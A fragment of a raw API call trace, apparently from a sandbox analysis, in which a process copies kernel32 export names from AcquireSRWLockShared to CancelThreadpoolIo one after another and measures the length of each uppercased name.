(lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0085.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0085.826] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0085.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0085.826] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0085.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0085.826] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0085.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0085.826] lstrlenA (lpString="ADDATOMA") returned 8 [0085.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0085.826] lstrlenA (lpString="ADDATOMW") returned 8 [0085.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0085.826] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0085.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0085.826] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0085.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0085.827] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0085.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0085.827] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0085.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0085.827] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0085.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0085.827] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0085.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0085.827] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0085.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0085.827] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0085.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0085.827] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0085.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0085.827] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0085.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0085.827] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0085.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0085.827] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0085.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0085.829] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0085.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0085.829] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0085.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0085.829] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0085.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0085.829] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0085.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0085.829] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0085.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0085.829] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0085.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0085.829] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0085.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0085.829] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0085.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0085.829] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0085.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0085.829] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0085.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0085.829] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0085.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0085.830] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0085.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0085.830] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0085.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0085.830] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0085.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0085.830] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0085.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0085.830] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0085.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0085.830] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0085.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0085.830] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0085.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0085.830] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0085.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0085.830] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0085.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0085.830] lstrlenA (lpString="BACKUPREAD") returned 10 [0085.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0085.830] lstrlenA (lpString="BACKUPSEEK") returned 10 [0085.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0085.830] lstrlenA (lpString="BACKUPWRITE") returned 11 [0085.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0085.830] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0085.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0085.830] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0085.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0085.831] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0085.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0085.831] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0085.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0085.831] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0085.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0085.831] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0085.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0085.831] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0085.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0085.831] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0085.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0085.831] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0085.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0085.831] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0085.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0085.831] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0085.831] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0085.832] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0085.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0085.832] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0085.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0085.832] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0085.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0085.832] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0085.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0085.832] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0085.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0085.832] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0085.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0085.832] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0085.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0085.832] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0085.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0085.832] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0085.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0085.832] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0085.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0085.832] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0085.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0085.832] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0085.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0085.832] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0085.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0085.832] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0085.832] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0085.832] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0085.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0085.833] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0085.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0085.833] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0085.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0085.833] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0085.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0085.833] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0085.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0085.833] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0085.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0085.833] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0085.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0085.833] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0085.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0085.833] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0085.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0085.833] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0085.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0085.833] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0085.833] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0085.834] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0085.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0085.834] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0085.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0085.834] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0085.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0085.834] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0085.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0085.834] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0085.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0085.834] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0085.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0085.834] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0085.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0085.834] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0085.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0085.834] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0085.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0085.834] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0085.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0085.834] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0085.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0085.834] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0085.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0085.834] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0085.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0085.834] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0085.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0085.834] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0085.834] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0085.835] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0085.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0085.835] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0085.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0085.835] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0085.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0085.835] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0085.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0085.835] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0085.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0085.835] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0085.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0085.835] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0085.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0085.835] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0085.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0085.835] lstrlenA (lpString="BEEP") returned 4 [0085.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0085.835] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0085.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0085.835] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0085.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0085.835] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0085.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0085.835] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0085.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0085.835] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0085.835] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0085.836] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0085.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0085.836] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0085.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0085.836] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0085.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0085.836] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0085.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0085.836] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0085.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0085.836] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0085.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0085.836] lstrlenA (lpString="CANCELIO") returned 8 [0085.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0085.836] lstrlenA (lpString="CANCELIOEX") returned 10 [0085.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0085.836] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0085.836] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0085.836] 